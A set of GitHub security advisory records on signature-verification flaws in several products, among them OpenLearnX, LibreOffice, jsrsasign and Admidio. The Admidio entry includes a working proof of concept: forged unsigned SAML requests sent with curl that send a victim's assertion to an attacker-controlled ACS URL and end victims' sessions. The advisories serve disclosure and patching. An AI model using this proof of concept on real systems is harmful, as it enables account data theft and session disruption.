CWE-347

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openlearnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T01:39:04Z",
    "nvd_published_at": "2026-05-27T22:16:36Z",
    "severity": "MODERATE"
  },
  "details": "### Overview\n\nA critical authentication vulnerability was identified in OpenLearnX that could allow unauthorized access to user accounts under specific conditions. The issue has been fixed.\n\n**Advisory**:  https://github.com/th30d4y/OpenLearnX/security/advisories/GHSA-223g-f5mq-gw33",
  "id": "GHSA-223g-f5mq-gw33",
  "modified": "2026-06-08T23:54:55Z",
  "published": "2026-05-13T01:39:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/th30d4y/OpenLearnX/security/advisories/GHSA-223g-f5mq-gw33"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44720"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/th30d4y/OpenLearnX"
    },
    {
      "type": "WEB",
      "url": "https://github.com/th30d4y/OpenLearnX/releases/tag/v2.0.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenLearnX: Critical Authentication Bypass via JWT Signature Verification Disabled Leading to Account Takeover"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-2866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-27T19:15:15Z",
    "severity": "LOW"
  },
  "details": "Improper Verification of Cryptographic Signature vulnerability in LibreOffice allows PDF Signature Spoofing by Improper Validation.\n\n\n\n\nIn the affected versions of LibreOffice a flaw in the verification code for adbe.pkcs7.sha1 signatures could cause invalid signatures to be accepted as valid\n\n\n\n\nThis issue affects LibreOffice: from 24.8 before \u003c 24.8.6, from 25.2 before \u003c 25.2.2.",
  "id": "GHSA-22mj-r7hq-f9h2",
  "modified": "2025-11-03T21:33:41Z",
  "published": "2025-04-27T21:34:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2866"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://www.libreoffice.org/about-us/security/advisories/cve-2025-2866"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-16992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-30T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Keybase app 2.13.2 for iOS provides potentially insufficient notice that it is employing a user\u0027s private key to sign a certain cryptocurrency attestation (that an address at keybase.io can be used for Stellar payments to the user), which might be incompatible with a user\u0027s personal position on the semantics of an attestation.",
  "id": "GHSA-23cv-hj48-7c4g",
  "modified": "2024-04-04T02:02:14Z",
  "published": "2022-05-24T16:57:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16992"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keybase/keybase-issues/issues/3583"
    },
    {
      "type": "WEB",
      "url": "https://sneak.berlin/20190929/keybase-backdoor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.getaxonflow:axonflow-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:16:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe AxonFlow SDK\u0027s `WebhookSubscription` (or equivalent) type did not expose the HMAC-SHA256 signing key returned by the platform\u0027s `CreateWebhook` endpoint. Without access to the secret through the typed SDK API, callers had no path to verify the `X-AxonFlow-Signature` header on incoming webhook deliveries. Affected callers had two unsatisfactory options:\n\n1. Skip signature verification entirely \u2014 accepting any payload from any source that knew the webhook URL.\n2. Hand-parse the raw HTTP JSON response to extract the secret, bypassing the type-safe SDK surface.\n\nThis advisory is filed across all four AxonFlow SDKs (Go, Python, TypeScript, Java) because the same defect and the same fix landed in each.\n\n## Affected versions\n\nVersions prior to 6.0.0.\n\n## Impact\n\nA webhook receiver using the SDK\u0027s typed API to handle inbound deliveries had no path to authenticate the source of incoming payloads. An attacker who learned the webhook URL \u2014 through misconfiguration, log leakage, observable network traffic during setup, or any other discovery channel \u2014 could forge webhook deliveries indistinguishable from legitimate ones, causing the receiving application to act on fabricated events (e.g. simulated approval-granted callbacks, simulated policy-decision callbacks, simulated step-completion callbacks).\n\n## Remediation\n\nUpgrade to the patched version listed in Vulnerabilities below. The signing key is now exposed on the `WebhookSubscription` response type returned by `CreateWebhook`. Implementations should:\n\n1. Persist the secret returned by `CreateWebhook` securely (it is only returned once, at create time).\n2. On each incoming webhook delivery, compute `HMAC-SHA256(secret, raw_body)` and compare it in constant time against the `X-AxonFlow-Signature` header.\n3. Reject any delivery whose signature does not match.\n\n## Credit\n\nIdentified by AxonFlow internal security review during the April 2026 quality-freeze epic.",
  "id": "GHSA-248h-974q-xrc2",
  "modified": "2026-05-06T23:16:58Z",
  "published": "2026-05-06T23:16:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getaxonflow/axonflow-sdk-java/security/advisories/GHSA-248h-974q-xrc2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getaxonflow/axonflow-sdk-java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "axonflow-sdk-java: Webhook signing-key (HMAC-SHA256) not exposed by SDK type, preventing signature verification"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-29108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-01T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is an privilege escalation vulnerability in organization-specific logins in Esri Portal for ArcGIS versions 10.9 and below that may allow a remote, authenticated attacker to impersonate another account.",
  "id": "GHSA-249c-5cfq-cwqh",
  "modified": "2022-05-24T19:16:19Z",
  "published": "2022-05-24T19:16:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29108"
    },
    {
      "type": "WEB",
      "url": "https://downloads.esri.com/RESOURCES/ENTERPRISEGIS/Organization-Specific_Logins_FAQs.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.esri.com/arcgis-blog/products/arcgis-enterprise/administration/Portal-for-ArcGIS-Security-2021-Update-1-Patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T21:56:13Z",
    "nvd_published_at": "2026-05-07T04:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Admidio SAML Identity Provider implementation discards the return value of its `validateSignature()` method at both call sites (`handleSSORequest()` line 418 and `handleSLORequest()` line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the `smc_require_auth_signed` configuration option is completely ineffective \u2014 unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.\n\n## Details\n\nThe `validateSignature()` method at `src/SSO/Service/SAMLService.php:355` has three possible return paths:\n\n```php\n// Line 355-392\npublic function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {\n    global $gL10n;\n    $certPem = $client-\u003egetValue(\u0027smc_x509_certificate\u0027);\n    if (!$certPem) {\n        if ($required) {\n            return $gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_KEY_MISSING\u0027); // Returns STRING, not throw\n        } else {\n            return false;\n        }\n    }\n    // ...\n    $signatureReader = $message-\u003egetSignature();\n    if (is_null($signatureReader)) {\n        if ($required) {\n            return $gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_MISSING\u0027); // Returns STRING, not throw\n        } else {\n            return false;\n        }\n    }\n    try {\n        $ok = $signatureReader-\u003evalidate($key);\n        if ($ok) {\n            return true;\n        } else {\n            return $gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_FAILED\u0027); // Returns STRING, not throw\n        }\n    } catch (Exception $ex) {\n        return $gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_FAILED\u0027); // Returns STRING, not throw\n    }\n}\n```\n\nBoth call sites discard the return value entirely:\n\n```php\n// Line 416-419 in handleSSORequest()\n// Validate signatures. Will throw an exception    \u003c-- INCORRECT COMMENT\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n    $this-\u003evalidateSignature($client, $request, $client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n    // Return value discarded \u2014 execution continues regardless of validation result\n}\n\n// Line 611-614 in handleSLORequest()\n// Validate signatures. Will throw an exception    \u003c-- INCORRECT COMMENT\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n    $this-\u003evalidateSignature($client, $request, $client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n    // Return value discarded \u2014 execution continues regardless of validation result\n}\n```\n\n**SSO exploitation path** (for already-logged-in users):\n1. `modules/sso/index.php:92` routes to `handleSSORequest()`\n2. Line 403: `receiveMessage()` parses SAML binding directly from HTTP GET/POST \u2014 no authentication required\n3. Line 408-409: Entity ID extracted from the forged request\u0027s Issuer element, client config loaded\n4. Line 417-419: Signature validation called but return value discarded \u2014 flow continues\n5. Line 421: `$gValidLogin` is true for logged-in users, so login form is skipped\n6. Lines 438-580: SAML Response built with user\u0027s real attributes (login, name, email, roles) and sent to the `AssertionConsumerServiceURL` from the forged request\n\n**SLO exploitation path**:\n1. `modules/sso/index.php:94` routes to `handleSLORequest()`\n2. Line 613: Signature validation discarded\n3. Lines 621-629: User\u0027s session is deleted from the database and `$gCurrentSession-\u003elogout()` is called\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)\n# - At least one registered SAML SP client with smc_require_auth_signed=true\n# - A user with an active session (e.g., admin browsing the Admidio panel)\n\n# 1. Generate an unsigned AuthnRequest impersonating a registered SP:\nAUTHN_REQUEST=$(python3 -c \"\nimport base64, zlib\nreq = \u0027\u003csamlp:AuthnRequest xmlns:samlp=\\\"urn:oasis:names:tc:SAML:2.0:protocol\\\" xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_fake123\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2026-03-27T00:00:00Z\\\" AssertionConsumerServiceURL=\\\"https://attacker.example.com/acs\\\"\u003e\u003csaml:Issuer\u003ehttps://legitimate-sp.example.com/entity-id\u003c/saml:Issuer\u003e\u003c/samlp:AuthnRequest\u003e\u0027\nprint(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())\n\")\n\n# 2. Send the unsigned request via HTTP-Redirect binding (GET):\n# If a logged-in user\u0027s browser follows this link (e.g., via CSRF/social engineering),\n# Admidio generates a signed SAML assertion with the user\u0027s PII and sends it\n# to the attacker-controlled ACS URL.\ncurl -v \"https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}\" \\\n  -b \u0027PHPSESSID=VICTIM_SESSION_COOKIE\u0027\n\n# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.\n# The response contains a SAML assertion with the victim\u0027s attributes.\n\n# 3. For SLO \u2014 forge a LogoutRequest to terminate a victim\u0027s session:\nLOGOUT_REQUEST=$(python3 -c \"\nimport base64, zlib\nreq = \u0027\u003csamlp:LogoutRequest xmlns:samlp=\\\"urn:oasis:names:tc:SAML:2.0:protocol\\\" xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_fake456\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2026-03-27T00:00:00Z\\\"\u003e\u003csaml:Issuer\u003ehttps://legitimate-sp.example.com/entity-id\u003c/saml:Issuer\u003e\u003csaml:NameID\u003evictim@example.com\u003c/saml:NameID\u003e\u003c/samlp:LogoutRequest\u003e\u0027\nprint(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())\n\")\n\ncurl -v \"https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}\" \\\n  -b \u0027PHPSESSID=VICTIM_SESSION_COOKIE\u0027\n\n# Expected: Victim\u0027s session is terminated, logout cascaded to all registered SPs.\n```\n\n## Impact\n\n- **Signature enforcement bypass**: The `smc_require_auth_signed` setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security.\n- **User attribute disclosure (SSO)**: When combined with the ability to specify an arbitrary `AssertionConsumerServiceURL`, an attacker can redirect a logged-in user\u0027s SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint.\n- **Session termination (SLO)**: An attacker can forge LogoutRequests to terminate any user\u0027s Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.\n- **Amplifies ACS URL injection**: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).\n\n## Recommended Fix\n\nCheck the return value of `validateSignature()` and throw on failure. In `src/SSO/Service/SAMLService.php`, fix both call sites:\n\n```php\n// In handleSSORequest(), replace lines 416-419:\n// Validate signatures\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n    $result = $this-\u003evalidateSignature($client, $request, (bool)$client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n    if ($result !== true \u0026\u0026 $result !== false) {\n        // $result is an error message string \u2014 validation failed\n        throw new Exception($result);\n    }\n}\n\n// In handleSLORequest(), replace lines 611-614 with the same pattern:\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n    $result = $this-\u003evalidateSignature($client, $request, (bool)$client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n    if ($result !== true \u0026\u0026 $result !== false) {\n        throw new Exception($result);\n    }\n}\n```\n\nAlternatively, refactor `validateSignature()` to throw exceptions on failure (matching the developer\u0027s original intent as documented in the comments), which would make both call sites correct as-is:\n\n```php\npublic function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {\n    global $gL10n;\n    $certPem = $client-\u003egetValue(\u0027smc_x509_certificate\u0027);\n    if (!$certPem) {\n        if ($required) {\n            throw new Exception($gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_KEY_MISSING\u0027));\n        }\n        return false;\n    }\n    // ... (same cert loading logic) ...\n    $signatureReader = $message-\u003egetSignature();\n    if (is_null($signatureReader)) {\n        if ($required) {\n            throw new Exception($gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_MISSING\u0027));\n        }\n        return false;\n    }\n    try {\n        if (!$signatureReader-\u003evalidate($key)) {\n            throw new Exception($gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_FAILED\u0027));\n        }\n        return true;\n    } catch (Exception $ex) {\n        throw new Exception($gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_FAILED\u0027));\n    }\n}\n```",
  "id": "GHSA-25cw-98hg-g3cg",
  "modified": "2026-05-08T20:14:26Z",
  "published": "2026-04-29T21:56:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-25cw-98hg-g3cg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41669"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-1728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-15T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Secure Configuration Validation functionality of Cisco FXOS Software and Cisco NX-OS Software could allow an authenticated, local attacker to run arbitrary commands at system boot time with the privileges of root. The vulnerability is due to a lack of proper validation of system files when the persistent configuration information is read from the file system. An attacker could exploit this vulnerability by authenticating to the device and overwriting the persistent configuration storage with malicious executable files. An exploit could allow the attacker to run arbitrary commands at system startup and those commands will run as the root user. The attacker must have valid administrative credentials for the device.",
  "id": "GHSA-27c7-fgf3-w57p",
  "modified": "2024-04-04T00:39:36Z",
  "published": "2022-05-24T16:45:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1728"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-nxos-conf-bypass"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108391"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsrsasign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-30246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-13T17:30:34Z",
    "nvd_published_at": "2021-04-07T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nVulnerable jsrsasign will accept RSA signature with improper PKCS#1.5 padding.\nDecoded RSA signature value consists following form:\n`01(ff...(8 or more ffs)...ff)00[ASN.1 OF DigestInfo]`\nIts byte length must be the same as RSA key length, however such checking was not sufficient.\n\nTo make crafted message for practical attack is very hard.\n\n### Patches\nUsers validating RSA signature should upgrade to 10.2.0 or later.\n\n### Workarounds\nThere is no workaround. Not to use RSA signature validation in jsrsasign.\n\n### ACKNOWLEDGEMENT\nThanks to Daniel Yahyazadeh @yahyazadeh for reporting and analyzing this vulnerability.",
  "id": "GHSA-27fj-mc8w-j9wg",
  "modified": "2023-09-11T18:42:06Z",
  "published": "2021-04-16T19:52:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kjur/jsrsasign/security/advisories/GHSA-27fj-mc8w-j9wg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30246"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kjur/jsrsasign/issues/478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kjur/jsrsasign/releases/tag/10.1.13"
    },
    {
      "type": "WEB",
      "url": "https://kjur.github.io/jsrsasign"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RSA signature validation vulnerability on maleable encoded message in jsrsasign"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-2746"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-04T09:15:57Z",
    "severity": "MODERATE"
  },
  "details": "SEPPmail Secure Email Gateway before version 15.0.1 does not properly communicate PGP signature verification results, leaving users unable to detect forged emails.",
  "id": "GHSA-27h3-67h6-73p2",
  "modified": "2026-03-05T15:30:35Z",
  "published": "2026-03-04T09:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2746"
    },
    {
      "type": "WEB",
      "url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-18146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-11T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Android before security patch level 2018-04-05 on Qualcomm Snapdragon Automobile, Snapdragon Mobile, and Snapdragon Wear MDM9206, MDM9607, MDM9650, MSM8909W, SD 210/SD 212/SD 205, SD 400, SD 410/12, SD 425, SD 430, SD 450, SD 615/16/SD 415, SD 617, SD 625, SD 650/52, SD 800, SD 808, SD 810, SD 820, SD 820A, SD 835, SD 845, SD 850, in some corner cases, ECDSA signature verification can fail.",
  "id": "GHSA-285f-jc76-fchh",
  "modified": "2022-05-14T03:24:10Z",
  "published": "2022-05-14T03:24:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18146"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2018-04-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103671"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}